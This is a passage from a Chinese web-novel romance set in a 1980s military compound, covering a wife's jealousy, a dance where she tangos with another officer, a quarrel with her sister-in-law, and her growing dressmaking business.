但要说他俩会不会做点什么,苗秀秀也是不信的,周北冀这么机灵的人,真想出轨也不会明目张胆把人带到家里,多半是夏文竹知道自己晚上不在家,上门来勾搭他了。
洗好了澡,苗秀秀没有继续发难,走到电扇前吹了一会风,又去冰箱里拿了一盒冰淇淋吃,舒舒服服躺在沙发上看电视。
周北冀也很沉得住气,苗秀秀这番做派无非就是想让他不打自招,他可没这么傻,他又没做什么亏心事,用不着不打自招,媳妇再好也是不能惯的,他不想给她一种他已经任她宰割的错觉。
晚上喝了酒,这时候正好发困,周北冀关了灯盖上毛巾被睡觉,不一会儿,苗秀秀过来了,拉了一下他身上的毛巾被,见他一动不动,索性掀开毛巾被。
“干嘛呢,大半夜的不睡觉非要闹。”周北冀打了个呵欠。苗秀秀说:“我给你讲个笑话吧。”
“什么笑话?”他倒想听听,苗秀秀这张巧嘴还能说点什么出来。
苗秀秀于是说,“有一回慈禧太后心情不好,李莲英便想说个笑话逗老佛爷开心,他和慈禧说,老佛爷,奴才给您讲个故事,从前啊,有一个太监——过了好半天,他都没说这个太监怎么了,慈禧就很好奇,问他,下面呢?李莲英说,没了。”
没了?周北冀瞬间领悟,大笑起来。万万没想到这女人居然讲的是黄色笑话。
苗秀秀趴到他身上,手探过去,在他耳边一字一句说,“男人要是管不住自己下半身,那还不如去当太监。”
周北冀笑着打了个呵欠,“那我去当太监了,对你又有什么好处?你就不盼着我点好的。”他连眼睛都没睁开一下,就继续睡他的觉了。
“你还别不信,我第六感发达,家里发生一点变化我都知道。你小心别被我抓住把柄,不然要你好看。”苗秀秀一脚踹在周北冀腰上。
周北冀无奈,只得转过身睁开眼睛哄她,“大晚上的,你消停点好吗?左邻右舍那么多街坊邻居在,我真做点什么坏事,你的耳报神、各路探子、等着看热闹的人能不汇报给你?”
这大半年来,周北冀对苗秀秀别的方面认可度和对她情报收集工作的认可度远不是一个等级,也不知道她哪里打听来的那些大道小道消息,她简直就是群众中的克格勃,谁家一点风吹草动她都知道,甚至国家大事、政策风向、流行趋势,她也都了如指掌。
“知道就好,别明知故犯。”苗秀秀抬手把毛巾被掀翻盖住周北冀的脸。
周北冀在毛巾被底下叹了口气,觉得自己今晚让夏文竹进家里来坐坐纯属鬼迷心窍了,本来光明正大的事,不知道怎么就变得偷偷摸摸起来。什么叫搬起砖头砸了自己的脚,此刻深有体会,平时再伶俐的脑瓜子也不知道该怎么把这事圆过去,一番思想斗争,他决定还是什么都别说了,说多错多。
苗秀秀见他半天不动,就那么用毛巾被盖着脸,以为他被捂得晕了过去,慌忙拉开他脸上的毛巾被,却见他干瞪着一双眼睛,不知道在想什么。
“你身上还有酒气,再去洗一遍澡。”苗秀秀灵机一动。
周北冀没说话,掀开毛巾被下床洗澡去了。蔫头巴脑的,像个被霜打了的茄子。苗秀秀看着他背影,听到他关洗手间门的声音,心里默默地想,这么听话,可见是心虚了。
知道心虚就好,越深入接触越发现,这男人诡计多端,他不想交代的事,打死了他也不会说,自己想要和他缠斗下去,就不能自乱阵脚,不然特别容易着他的道儿。
周北冀轻手轻脚上床,从身后搂住苗秀秀。
苗秀秀假装挣扎了一下,也就不装了,扭头端详着周北冀的睡颜,洗干净以后身上的酒气被香皂的味道取代,年轻的脸看起来刀削斧凿一般线条分明,睡着后搂着她不放的手臂又有
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几分可爱。
可怜方护士,站在窗口偷听了一晚上也没能听到隔壁小俩口吵架的声音,自己身上反而被蚊子叮了十几个包。连带着看王老师不顺眼,趁他过来送花露水的时候,踹了他好几脚。
“没打起来?”
“没打。”
“也没吵架?”
“没吵。”
“不行你明天去小苗面前挑拨一下,他俩准能打起来,也不能白喂一晚上蚊子不是。”王老师没好气揶揄了老婆一句。方护士翻了个白眼,又抬脚去踹王老师,王老师早猜到她这一出,轻松一闪身就躲了过去。
方护士一脚踹到电风扇上,疼得她“啊呀”一声大叫。王老师赶忙去扶着她。
苗秀秀睡得懵懵懂懂,听到隔壁的叫声,搡了搡身旁的男人,“什么声音?”周北冀早睡着了,被她推搡醒了,没好气,“你干嘛?”
“你刚刚听没听到隔壁有声音?”苗秀秀总觉得刚才那声音不寻常。
“没听到,什么样的声音?”周北冀对这事没一点兴趣。、
“好像有人叫了一声,就像这样——”苗秀秀很小声的学着叫了一声。
“你确信这是人能发出的声音?没准是楼下野猫。”
“要不你去隔壁看看?”
“我好奇心没那么重,要去你去。”
“你去看看嘛,万一出什么事呢?”
“关我屁事,我才不去。”
转眼就到了八一建军节,当舒华穿着苗秀秀做的演出服仪态万方的出现在文艺晚会的舞台上,艳惊四座,她精彩的表演更是获得满堂彩。
苗秀秀在台下卖力鼓掌,对她来说,这是她接单的第一件高定,虽然只赚了一百三十块钱,但意义不一样,她的实力获得了认可。
“晚上军区有舞会,带你去跳舞,会不会跳?”周北冀搂着媳妇问她。要是以前那个苗秀秀,肯定是不会的,但是现在苗秀秀已经完成了升级换代,她肯定会。
“你问我会不会?你应该问我,有不会的吗?别说华尔兹,伦巴、恰恰、探戈,我都会。”苗秀秀自从上次和周北冀摊牌,私底下也不怎么装了,大大方方翘尾巴。反正他在心里早就把她当成狐狸精。
“会华尔兹就行,尾巴别翘太高。”周北冀叮嘱媳妇儿,表现过头容易露馅。
“人家什么都不会,小哥哥你教我跳探戈。”苗秀秀凑在丈夫耳边嗲嗲地说。
“叫我什么?”周北冀还是头一回听媳妇这么叫他。
“周老四。”苗秀秀笑着改口,揶揄他:“你两个嫂子不就是这么叫你,老四、他小叔。”
“反了你,敢叫我周老四。”周北冀实在不喜欢这个称呼,把他都叫老了。
“那人家舒华姐叫叶三哥就叫叶老三,你怎么就不能是周老四?”苗秀秀对调戏他这件事乐此不疲。
周北冀不说话,知道她是故意的,随她爱怎么叫怎么叫。
36. 第三十五章
为了晚上的舞会,女人们精心打扮,很多人穿上了最漂亮的裙子。苗秀秀也回家换了一条白色带绿色花朵的连衣裙,灵感来自于格蕾丝凯莉在《后窗》里穿的那一条贴合身材的复古蓬蓬裙,圆领无袖的款式,将身材完美勾勒,一出场就足以艳压全场。
周北冀倚在衣柜门边欣赏她换衣服,脸上挂着坏笑。
苗秀秀看他那种邪里邪气的表情,不知道他又在琢磨什么坏主意。自从他俩熟了,他的坏主意层出不穷。
你到我身边,带着微笑,
带来了我的烦恼。
我的心中,早已有了他,
Oh,他比你先到。
苗秀秀踏着迪斯科的步伐,扭着细腰,唱着当年刘文正的神曲《迟到》,扭到周北冀身边,手指勾了一下他的下巴。周北冀也会这段,和她一起跳,两人笑得不行。
苗秀秀往头发上别了两支小小的珍珠发夹,拉着周北冀出门。她已经迫不及待要去大礼堂跳舞了,这么热闹的舞会,夏文竹周中中不可能不去,一想到能把她们鼻子气歪,她就兴奋不已。
头一次参加八十年代军区大院里的舞会,苗秀秀对一切都很新奇,小礼堂被后勤部一番布置,看起来还挺像那么回事,不仅有舞厅那种五颜六色的旋转灯,还有五彩缤纷的拉花,休息区的小圆桌上还供应饮料和瓜子花生。
来跳舞的除了军官们,还有外面邀请来的厂矿单位、学校、机关和文艺团体的年轻姑娘们,为的是给未婚的军官创造相亲的机会,也有一些领导过来与民同乐,但领导们大多数就是在休息区坐着观看,很少上场跳舞。
姑娘们穿着各式各样的裙子,苗秀秀仔细看了看,没有一个人的裙子和自己同款,不禁有些得意。
唯一不怎么样的是音乐,那个时候虽然以邓丽君为首的港台歌星的歌已经在大江南北风靡一时,但是军区大院的舞会还是不敢公然播放这种靡靡之音,因此背景音乐还都是国内一些歌手的抒情歌曲。
听到一个熟悉的旋律,苗秀秀有点惊喜地问周北冀,“这是韩红唱的《绒花》?”苗秀秀看过电影《芳华》,里面就有这首歌,她一直觉得这首歌很有年代感。
“韩红是谁?李谷一唱的啊。”周北冀哪知道韩红。
“对对对,我们去跳舞吧。”苗秀秀拉着周北冀到舞场里。
舒缓的旋律只适合跳慢三慢四,苗秀秀在这种场景是不敢秀什么舞技的,只能跟着大众随大流。舞池里很多人舞跳得不怎么样,尤其是那些军官们,很多人站姿板正、舞姿也硬邦邦的,跳舞像在走正步,苗秀秀看在眼里直想笑。
好在周北冀跳舞还是很熟练的,一看就是从小到大没少跳,唯一遗憾的就是想搂着腰搭着肩都碍于在场的人多,没法表现得太亲近。
苗秀秀靠近他,仰着脸凑在他耳边说:“看来咱俩想跳探戈是跳不了了。”“我不会。”周北冀搂住她的背,低头看着她笑。
“不会?”苗秀秀心中恍然,怪不得他不让她翘尾巴,说话间,她看了不远处的程晋衡一眼,说:“程二哥肯定会。”
“傅蕾在苏联留学回来的,程二会的都是傅蕾教的。”
“那我一会找他跳舞,你别生气啊。”苗秀秀难得参加一次这种舞会,很想多跳几场。
“他不会跟你跳的,他媳妇在边上看着呢,他是个妻管严。”周北冀一点都不想让自己媳妇去和别人跳舞,只好损自己哥们儿。反正程晋衡离得远,也听不到。
“可是我好想跳探戈,要不我教你?”苗秀秀笑问。周北冀摇了摇头,他看过电影里的人跳探戈,觉得挺难的,一时半会学不会。
《PorUnaCabeza》的曲调响起,苗秀秀非常激动,竟然真有探戈舞曲,看到好几对进舞池跳探戈就更激动了。可惜周北冀买冰淇淋去了,不然真想拉着他去跳。凭他的聪明,还不是一教就会。
“能请你跳舞吗?”一个年轻英俊的军官过来邀请苗秀秀。苗秀秀依稀记得他,他应该是军区政治部那位鼎鼎大名的杨干事。
听说也是军区某位领导家的公子,以前经常跟着领导出国访问,后来还公派留学去法国一年,多才多艺无所不精,家里在政治部替他安排了一个闲差,专门负责文工团相关事务,团里很多小姑娘都喜欢他。
“可以啊。”苗秀秀把手搭在杨干事手上。
两人进入舞池,杨干事探戈跳得相当不错,苗秀秀棋逢对手,和他配合默契,把周围好多人都看呆了。
“那是谁呀,跳得真好。”
“好像是小周他爱人。”
“和他跳舞的怎么不是小周,而是杨干事?”
众人议论纷纷。周中中和夏文竹进小礼堂时恰好听到他们的议论,顺着他们的目光向舞池中看去,看到杨干事正和一个穿着白绿相间连衣裙的女人跳舞,那女人不是别人,竟然是苗秀秀。
裙摆摇曳、舞姿蹁跹,她们都没想到苗秀秀跳得那么好,更没想到的是,她竟敢公然和别的男人跳舞,周中中满场找自己哥哥,却没找到他。
“怎么回事,我三哥呢?”周中中伸着脖子张望。
“没看到他。”夏文竹看着苗秀秀,心中有种奇怪的感觉。要是周北冀在场,苗秀秀敢这样大胆?可要是周北冀不在,她一个人来参加舞会就更奇怪了。
“真是的,趁我哥不在她竟然和别人跳舞。”周中中嘟囔着,说不出是替她哥生气还是替自己嫉妒。她从小就对杨干事有好感,可惜杨
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干事始终对她若即若离。
就在她俩各怀心思的时候,周北冀拿着两盒冰淇淋回来了,一眼看到自己媳妇在舞池里大出风头,没有表现出任何不满,默默走到休息区坐下。
周中中拉着夏文竹去找周北冀,不满地说:“三哥,你也不管管她,像什么样子。”“跳舞而已,没什么。”周北冀虽然也不愿意自己媳妇和别人跳舞,但是跳都跳了,又是大庭广众之下,自己一味吃醋反而显得狭隘。谁也没规定舞会上只能和自己对象跳舞,不能和别人跳舞。
一支曲子跳完了,杨干事还想邀请苗秀秀跳第二支,苗秀秀早看到自己丈夫和小姑子都在场,婉言谢绝了,过过瘾也就罢了,再跳的话,周北冀那家伙恐怕要撑不住。还有小姑子,在苗秀秀残存的印象里,她好像对杨干事有点那方面的意思。
回到休息区,苗秀秀坐到周北冀身边,撕开冰淇淋盒,舀了一勺送到周北冀嘴里。虽然他不声不响也没表现出任何情绪,但苗秀秀是何等人,她什么看不出来。对付男人,一要哄二要嗲,不知道说什么的时候,哄就对了。
周北冀吃了一口她孝敬的冰淇淋,笑问:“跳得高兴了?”苗秀秀刚吃下一口冰淇淋,嘟着嘴嗯了一声,“挺高兴的,要是跟你跳就更高兴了。”
周北冀心里受用了,目光宠溺地看着自己媳妇吃冰淇淋。
周中中把这一幕从头到尾看在眼里,心里叹为观止,这苗秀秀也太会哄男人了,几句话就平复了三哥的情绪。
向夏文竹使了个眼色,夏文竹会意,主动邀请周北冀跳舞。周北冀看了苗秀秀一眼,见她没有反应,只顾着低头吃冰淇淋,视线一转,答应了夏文竹的邀请。
苗秀秀等他俩站起来走了,才抬头看了一眼,既然有人存心要作妖,那她照单全收,看她们还能玩出什么花样来。
“嫂子,你以后最好注意点影响,就算我哥临时不在场,你也不该和别的男人跳舞。”周中中忍了半天,还是忍不住要数落苗秀秀。
你哥都没说话,轮得到你?苗秀秀腹诽,嘴角一歪,冲着周中中笑,“中中,你也是个大学生了,还是北大的,怎么这么封建?我就不信你们学校的舞会上大家都不换舞伴,从头到尾只和自己男女朋友跳?”
“那能一样吗,我们学生的舞会大家都未婚,你是结过婚的人了。”
“照你这意思,结过婚的女人不能和丈夫以外的人跳舞,结过婚的男人就可以?”苗秀秀下颌一抬,示意她去看舞池,除了周北冀和夏文竹,还有好几对都不是和自己对象跳,而是和熟人。
周中中被她一阵抢白,气得胸脯不停起伏。她本来就是没理找理借题发挥,没想到苗秀秀恃宠而骄气焰还挺高,根本不把她的指责当回事。
37. 第三十六章
看到杨干事向她们的方向走过来,周中中赶紧收敛情绪,摆上微笑的表情,等待他向自己邀舞,哪知道他径直走到苗秀秀面前,主动邀她跳舞。
“小苗,我请你跳舞。”杨干事看都没看周中中一眼,含笑的眼睛只盯着苗秀秀看。人都站到跟前了,边上还有一堆好事者众目睽睽看热闹,苗秀秀只得拿手绢擦擦嘴角,答应了杨干事的邀请。
这人绝对是故意的,只是不知道他是出于什么目的。苗秀秀并不会自恋到以为这位名声在外的花花公子会对自己一见钟情,他那一双桃花眼太不安分了。
周中中气到不行,杨干事称呼苗秀秀居然不是叫嫂子,或者是连名带姓叫她苗秀秀,而是叫她小苗,这种带着点亲昵感的称呼,苗秀秀就更过分了,居然答应他第二次邀请。
看着杨干事那种玩世不恭的表情,苗秀秀说:“你跟她闹意见,拿我当挡箭牌,觉得很好玩是不是?”虽然他邀请自己跳舞的时候没有看周中中一眼,但是他的神和魂都看了,苗秀秀懂这种眼神,这是个高手。
“谁说的,我就是觉得你舞跳得不错,想再跟你跳一支舞。”杨干事挑着眉笑一下,矢口否认她的话。
小子,都是千年的狐狸,跟我玩什么聊斋?苗秀秀杏眼微眯,嘴角轻挑,“你这还不是挑衅?当着周北冀和周中中的面请我跳舞。”
“你家周北冀不也在和别人跳么。”杨干事努了努嘴,嘴角那一抹坏笑能迷死人。
苗秀秀心里叹气。这些男人啊,一个赛一个的狡猾,虽然只跳了两支舞,苗秀秀基本可以断定,以周中中的道行,根本不搞定眼前这个男人。周中中太单纯也太幼稚,哪里招架得住这种情场老手。
“在花都没少邂逅法国女郎吧?”苗秀秀上辈子最喜欢去的国家就是法国和捷克,巴黎和布拉格都是令人神往的浪漫之都。
“你去过?”杨干事笑了笑。周北冀这个媳妇听说是农村来的,别说法国了,上海都不一定去过。
“电影里看到过,法国女郎世界有名。”苗秀秀心想,既然撞到老娘枪口上,就别怪老娘逗逗你了。
杨干事作思考状,“比起洋妞,我倒觉得我们中国的女人更有韵味,一种不可言说的古典美。外国人你接触了就知道,夏天不喷香水身上味道特别重,喷了香水又能把人熏晕了。”
“瞎说,哪有这么夸张。”
“没夸张,不是说全部,但大多数人是这样,所以才发明了香水。”杨干事略一思忖,说:“我想起来一件事,舒华前两天跟我说,你替她做的演出服特别好看,今天上午她演出时穿的那件紫红色金丝绒裙子是不是就是你做的?”
“是我做的。”苗秀秀没想到舒华说介绍就介绍,心里对她的好感更深一层。
杨干事点点头,“那她说得没错,你确实很有天赋,等过几天我找你,请你再帮我们设计几件,国庆我们还有演出,以前的演出服不是旧了就是太土,今年是35周年大庆,军区对国庆演出非常重视。”
“我可以出设计图,但是裁剪制衣光靠我不一定赶得及,你们有熟悉的服装厂吧,可以拿着图去定做,他们的手工比我熟练,时间也比我多。”苗秀秀一心想搭上服装厂这条路子,如果这回的设计能顺利进工厂,倒是个很好的渠道。
“有熟悉的服装厂,具体的细节下回我找你细谈。”杨干事看到周北冀和夏文竹离开舞池,也适时结束了话题,松开苗秀秀的手。
苗秀秀察觉出他有些心不在焉,猜测他大概率是在捕捉猎物,不想和他多说,离开舞池后回到丈夫身边。
这回周北冀脸上明显有点挂不住了,但是他的好教养还是发挥了作用,没有当面给苗秀秀什么难堪,只是拉着她的手怎么都不肯再放她出去跳舞,一直把她圈在自己身边直到舞会结束。
周中中和夏文竹一起离开小礼堂,夏文竹往她宿舍的方向走,周中中则向着大院深处的将军楼方向走去。
夏天的夜晚,路灯下流萤飞舞,眼看着杨干事慢悠悠走在前面,周中中有点犹疑地放慢了脚步,既不想超过他,也不想离他太远,心里七上八下忐忑不安。
单手插兜,他走路的姿势有一种说不出的潇洒和利落,周中中从小生活在军区大院,家里的男性也全都是军人,对军人的站姿和步伐都很熟悉,他却不一样,他很自由。
杨干事似乎察觉到身后有个人一直跟着自己,出其不意停下脚步转身去看,周中中来不及躲藏,正好碰上他的目光。
“你也才走?”杨干事主动和周中中说话。周中中走上前,不好意思说自己是看到他走才跟着走的,红着脸说:“我看快结束了,怕人多。”
“那一起走走吧。”杨干事的白衬衣熨帖挺刮,夜晚里白得晃眼。
周中中有点受宠若惊,虽然她平日里一向高傲自信,但是在这个人面前永远局促不安,仿佛他身上有一种魔力,让她不知不觉就心神不宁。
两人一路沉默,闻到杨干事身上淡淡清凉的薄荷味,周中中心跳如擂鼓,满肚子的话一句都说不上来。小时候他俩很长一段时期无话不谈,直到初中毕业上高中的时候才开始有些疏远。
“你嫂子挺漂亮的。”杨干事沉默良久,说出这么一句话。
周中中一听就知道他在说谁,心里一下子就涌上无数情绪,呼吸都有点滞住了。
“别误会,我没有别的意思,就是单纯想赞美一下。”杨干事扯着嘴角,坏笑着看了一眼周中中,“我是看你老不说话,找个话题。”
没有话题也不用说这个啊,明知道我和她不对付,周中中心里像是被什么堵住了,好半天她才说:“我没误会,你也不是第一个这么说的,我三嫂的确很漂亮。”
要不是当着他的面,她一点也不愿意去夸苗秀秀,但要是不这么说,他一定觉得自己气心胸狭窄,连听到别人夸她嫂子都不高兴。
“那就好。”杨干事俊逸的脸上永远是一副淡然的、漫不经心的表情。
虽是并肩而行,他始终和她保持着半个人的距离,和在舞会上那种左右逢源、风流随性不同,人后他稳重多了,稳重中甚至能感觉到一丝忧郁。
把她送到周家小楼外,他道了一声晚安,就
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向着自己家方向而去。周中中走进自家院子,眼睛却还不由自主跟着他的背影而去。
灯光下,他的影子被拉得很长,就像他俩之间的距离,从最初的亲密到后来渐行渐远。
周北冀和苗秀秀也回到家,苗秀秀照着镜子把珍珠发夹从头发上取下来,看着镜子里周北冀阴晴不定的脸,嗔怪:“你这么看着我干嘛,我得罪你了?”
“中中喜欢杨澍。”周北冀站在苗秀秀身后,冷冷地说。
苗秀秀扭头看着他,一张冷脸,娇媚笑道:“忍一晚上了吧,看样子憋得很辛苦,不然不会把脸拉得像长白山。”
“你别转移话题。”周北冀表情还是很严肃。中中到底是他妹妹,他不忍心看着妹妹伤心生气。
“我转移什么话题了?你不说我都不知道杨干事叫杨澍,他喜欢谁、谁喜欢他跟我有什么关系?我不就跟他挑了两支舞。”苗秀秀知道周北冀这是在替他妹妹鸣不平。
她和杨干事跳第二支舞的时候,周中中看自己的眼神像是看仇人,差点就要提刀杀自己了。
“你是中中的嫂子,你和她喜欢的人跳舞,她会怎么想?”周北冀才不会承认除了替他妹妹生气,也因为他自己在吃醋。
“我管她怎么想,她看不惯去修理杨干事啊,干嘛让你修理我?是我主动找杨干事跳舞的吗?还是说杨干事找我跳舞,我只要不答应,他就会去找你妹妹跳?”苗秀秀反唇相讥。
三句两句就让周北冀自认理亏,可又不愿失了面子,“反正你下回注意点,杨澍那个人和其他人不太一样,他被家里惯坏了,一向无法无天。”
“这么说的话,你更应该去修理你妹,而不是修理我,谁让她眼光差看上那种花花公子,我又不会跟他怎么样。”
苗秀秀想,还有这么不讲理的人么,他妹喜欢杨干事,人家杨干事没看上他妹,他不去怪自己妹妹自作多情,反而怪老婆和人家跳了两支舞。
“我说她也得听啊,她从小就喜欢杨澍,喜欢十几年了,谁说都没用。”
“青梅竹马?”苗秀秀脑子里八卦的小雷达又开始蠢蠢欲动。说实话,对周中中的事她不感兴趣,但是那个杨干事有点意思。
周北冀点了点头,“算是吧,我们两家挺熟的,杨局长两口子早年一直在国外工作,杨澍是在他姥姥姥爷身边长大的,从小就叛逆,七八岁上淘气得不行,全大院有名,杨局长怕儿子闯祸,等他十岁以后一直把他带在身边,那小子跟着杨局长去过很多国家,见多识广,所以脾气很怪,没人知道他在想什么。”
“他请我跳舞不过是一时心血来潮,你没必要这么如临大敌。据我观察,杨澍这人心深着呢,你妹可不是他对手。”苗秀秀并不想惹丈夫不高兴。他这段时间表现不错,她还蛮喜欢他的。
“就是这话,可中中不听,一门心思喜欢杨澍。既然她实在喜欢,我也希望他俩能有所发展,只要中中高兴就好。”周北冀对唯一的妹妹向来是宠着的。
“你可真是她亲哥!操这心。”苗秀秀撇着嘴角嘀咕。妹妹是亲妹,老婆就不是亲老婆吗?
38. 第三十七章
脱掉身上的裙子,苗秀秀跑去浴室洗澡。周北冀又跟到门口,不甘心地问她:“我看你和杨澍好像说了不少话,你们都说什么了?”
“你和夏文竹说什么,我和杨澍就说什么。”苗秀秀将他一军。
这天没法聊了,周北冀叹了口气离开。苗秀秀看他焉头巴脑的,没次说不过她,他都是这表情,偷偷笑出声。
等上了床,她才开始哄他,把和杨澍说的话说了一遍。周北冀一听说是舒华介绍她给文工团设计演出服,而杨澍只是从中联络,顿时放了心。
一天下来,媳妇的设计天赋得到了广泛赞誉,他在看演出的时候就已经听好几个人说,舒华的演出服特别漂亮,心里还挺自豪。
“乖宝宝不许生气了啊。”苗秀秀捧着周北冀的脸,在他唇上亲了几下。周北冀早就沦陷在温柔乡里,笑着把她搂进怀里。
吃醋也好、替妹妹鸣不平也罢,周北冀早在看到苗秀秀和杨澍第二次跳舞的时候,心里就已经拿定了主意,她怎么让他吃的醋,他就怎么在床上讨回来。
“你上回答应替我找店面,有没有找到合适的?”
“正找着呢,不想找离家太远的,找个近点的你回家方便,你以为找房子像买菜那么容易啊,进菜市场就能买到。”
对媳妇交代过的事,周北冀都是放在心上的,但是找门面房不是三天两天就能行的,特别还是要找个距离和租金都可心可意的,就更要碰运气了。
苗秀秀很高兴他的态度,从他腹肌摸到胸肌,摸得周北冀痒痒到发笑。听到他笑,苗秀秀有意停了下来。
别停啊。周北冀笑着说。苗秀秀故意不动,周北冀按住她的手让她继续动。
周北冀难得放假一整天,旺盛的精力没法发挥在训练场上,只能全都用在媳妇身上。抵死缠绵、一晌贪欢,第二天早上双双睡过头。
看到手表上的指针提示,周北冀像上足了发条一样跳下床,冲进洗手间就放水洗漱。苗秀秀也顶着满头乱发懒洋洋坐起来,看了一眼墙上的挂钟,都快十点了,训练迟到了快两个小时,难怪他急得什么似的。
看周北冀像听到紧急集合哨时一样飞快地穿衣服穿裤子,苗秀秀看着他直发笑,等他穿好袜子系好鞋带,苗秀秀替他准备的简单早餐也已经装在塑料袋里。
“馒头里给你抹了一层辣酱,一个夹了卤牛肉一个夹了五香榨菜丝,还有一袋牛奶,时间再赶,你路上多少也要吃一点。”苗秀秀把塑料袋交给周北冀,送他到门口。
周北冀接过去,搂住她细腰,依依不舍在她脸上亲了一下,又亲一下,这一去又不知道什么时候才能回家,只能在梦里不断回忆昨晚的销魂。
方护士下大夜班回来,还没走到周家门口,就看到小俩口吻别,她立刻别过脸快步往前走,不想看这个辣眼睛的画面。
周北冀从门里出来,差点和她撞个满怀,看她抱头而去像是被谁踩了尾巴,眉头皱了皱,把馒头送到嘴里狼吞虎咽,飞奔下楼。
方护士臊死了,心里直骂隔壁的小俩口不要脸,怎么大白天的也不关门就抱在一起啃,果然世风日下人心不古,都是看外国电影和港台电视剧看的,越来越没有廉耻。
心突突地跳,脑子不断涌现周北冀亲他媳妇的画面,一下一下的像是在啄,年轻到底花样多,怎么那么会亲?意识到思路跑偏,二十八岁的已婚女人方护士很有罪恶感地拨乱反正,心里继续鄙视苗秀秀。
送走周北冀后,苗秀秀躺回床上继续睡着,连去洗澡的力气都没有,心里骂周北冀混蛋可又忍不住想念他。
男人在这方面都是无师自通的,这才多长时间,他的床上功夫已经锻炼得十分娴熟了,体力好花样自然就多,上辈子交过的几个男朋友,没一个能赶上他。
在军区舞会上大出风头以后,苗秀秀一下子接到了三十多个连衣裙订单,全都是要求定做她舞会上穿的那条裙子,连带着服务社进的那一批白底绿花的布几天内就卖光了。
紧赶慢赶,为了能让顾客们都在夏天结束前穿上新裙子,苗秀秀每天起早贪黑在缝纫机前忙得废寝忘食,一天做三条到四条,十多天下来,初步统计一下,她已经陆陆续续做了五十二条同款裙子。
拷好最后一条裙子的边,苗秀秀累得头昏眼花,看到窗外早已暮色降临,才发现自己错过了吃晚饭的时间。
离国庆阅兵越来越近,周北冀在学校封闭式训练,已经两三个星期没有回家,她自己则忙着做衣服,过着晨昏颠倒的日子,吃饭也不定时,经常饿到发晕才想起来忘记吃饭。
去洗手间洗了把脸,苗秀秀倒厨房给自己做了一碗炸酱面,放上葱花和黄瓜丝,吃得津津有味。
周北冀开门进来,随手把雨衣挂在门口的挂钩上,看到媳妇吃得满嘴都是酱,愣了一愣,“这么晚才吃饭?都九点多了。”
“你怎么回来了?外面下雨了吗?”苗秀秀一点都不知道外面下雨了,走到窗户边一看,可不是风雨交加。她每次做事情集中精神的时候,都会忘记周围的一切。
“都下一个多小时了,你不知道?我们明天休息一天,所以赶着回来了。”
周身湿气缭绕,周北冀去洗手间拿毛巾擦头发,走到饭桌旁,看到苗秀秀略有些红肿的眼睛和乱七八糟的头发,问她:“你怎么回事,把自己弄成这样?”
“你不在家这些天,我做了五十二条裙子。”苗秀秀抬起手比划五个手指头,“整整五十二条,简直把我累死了。”
周北冀笑一声,“用不用这么拼啊,做这么多裙子,能赚多少?”“一条赚四块,你自己算算。”苗秀秀很有成就感的告诉他。
“四块?这手工费够高的。”
“纯手工,这价还算高?你知道意大利高级——”话到嘴边,意识到不对,苗秀秀讪笑,掩饰地挠了挠痒痒。
“高级什么?”周北冀在她面前坐下,饶有兴趣看着她碗里的炸酱面,从她手里拿走筷子,挑了两根吃。
苗秀秀赶紧转移话题,“你晚上也没吃饭?要不我去给你做一碗炸酱面?”
“不用了。”周北冀把筷子还给苗秀秀,逗她:“你还没说,高级什么?”
“那个……”
“不用这个那个的,又没有外人在。你说吧,我爱听。”周北冀给了苗秀秀一个会心的眼神。苗秀秀莫名心虚,塞了一口炸酱面到嘴里,慢慢咀嚼着,等心情平复下来才说,“意大利纯手工定制的皮鞋,一双最少一万多,詹姆斯·邦德穿的鞋都是纯手工鞋。”
“这
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么贵?不吃不喝上几十年班才够买一双鞋。”
“高定的衣服和鞋本来就很贵,因为是量身定制的,也是一种品牌效应,友谊商店里卖的外国进口产品不就很贵。”
周北冀点了点头,“你这些天光顾着做衣服,有没有按时去夜校上课?既然开了头就别半途而废才好。”
“我去了,但不是每天都去,这批单子太急了,顾客都怕天凉了裙子赶不及穿,宁愿加价出手工费,所以我一条裙子才能赚四块,要是平时,一件也就赚两三块。”苗秀秀解释给周北冀听。
“那你也别把自己身体熬坏了,你照照镜子看看你的脸,跟被霜打过的茄子似的。”周北冀看着苗秀秀不修边幅的样子,叹了口气。
“已经做完了,我下回再也不接这些急单子了。”想起什么,苗秀秀问周北冀,“外面又是风又是雨的,你怎么赶着这种坏天气回来?明早等雨停了再回来也不迟啊。”
“等不及想见你啊,想媳妇儿了。”周北冀开玩笑地说。
苗秀秀摇头,很聪明地猜测着,“我看不像,肯定是又有什么妖风吹到太后她老人家耳朵里,让你来敲打我了。”
周北冀否认,“还真不是,我妈什么都没说,是我姐打电话给我,说回家的时候看到中中没精打采,似乎心情很不好,一问才知道,她约杨澍听音乐会,杨澍没去。”
苗秀秀看了他一眼,“这和你有关系吗?和我有关系吗?值得你顶风冒雨赶回来?”
“本来是没关系的,但是前两天杨澍到咱家来找你,被方护士看到了,方护士又告诉了我姐。”周北冀没有隐瞒。
苗秀秀低头,心里恨透了爱搬弄是非的方护士,往嘴里扒拉了几根面条,“他是来过,但说的都是公事。”
其实有点心虚,因为杨澍那天刚来他们家的时候虽然是谈公事,两人也初步沟通了一下演出服的款式和要求,但后来看到苗秀秀画的那些草图,话题就越扯越远了。
“哪天我离开部队,找你合伙开公司,我管经营,你负责设计,一定能干出名堂。”杨澍半开玩笑地说。
苗秀秀揶揄他,“怎么你对现在的生活和工作很不满意吗,闲差,而且还能大面积接触漂亮姑娘。”
“没什么意思,我常常觉得要是这样过一辈子简直是浪费生命。”杨澍叹息了一声,英俊的脸上略有些惆怅,“要是能做点更有意义的事就好了,我一直想转业,但我父母坚决不同意。我有种预感,国家这几年将会发生重大变化,很多固守的传统都会跟着变。”
不管是在哪一个时期,总会有些人的见识能超越同时代的人,苗秀秀没想到他竟会是这样的人,说:“可能他们在部队待了几十年待惯了,觉得这里像是个避风港吧,但他们不知道,外面的世界早就变了。”
杨澍审视地看着苗秀秀,脸上带着点意外和惊讶的笑意,“没想到和我想法一样的人竟然是你。”
苗秀秀瞧了他一眼,“怎么,你瞧不起我是个女的,还是瞧不起我是农村来的?我也在上夜校学知识,也看书学习的好不好。”
“我没有瞧不起你的意思,我是感叹认识你太晚了。”杨澍笑起来的时候一口整齐的白牙。苗秀秀心里感叹,真是个美男子啊,难怪那么多小姑娘喜欢他。
39. 第三十八章
思路在这里停住,苗秀秀紧赶着吃完碗里的面,让周北冀去厨房洗碗。等周北冀刷锅洗碗忙活完了,她也已经洗好了澡,躺在床上吹电扇。
看媳妇儿一副累惨了的样子,周北冀忽然就心疼起来,过去坐在她身边,伸手摇了摇她的肩,“累啊?我帮你捏捏肩?”
“你还会这个?”苗秀秀转过身来,含笑看着丈夫。
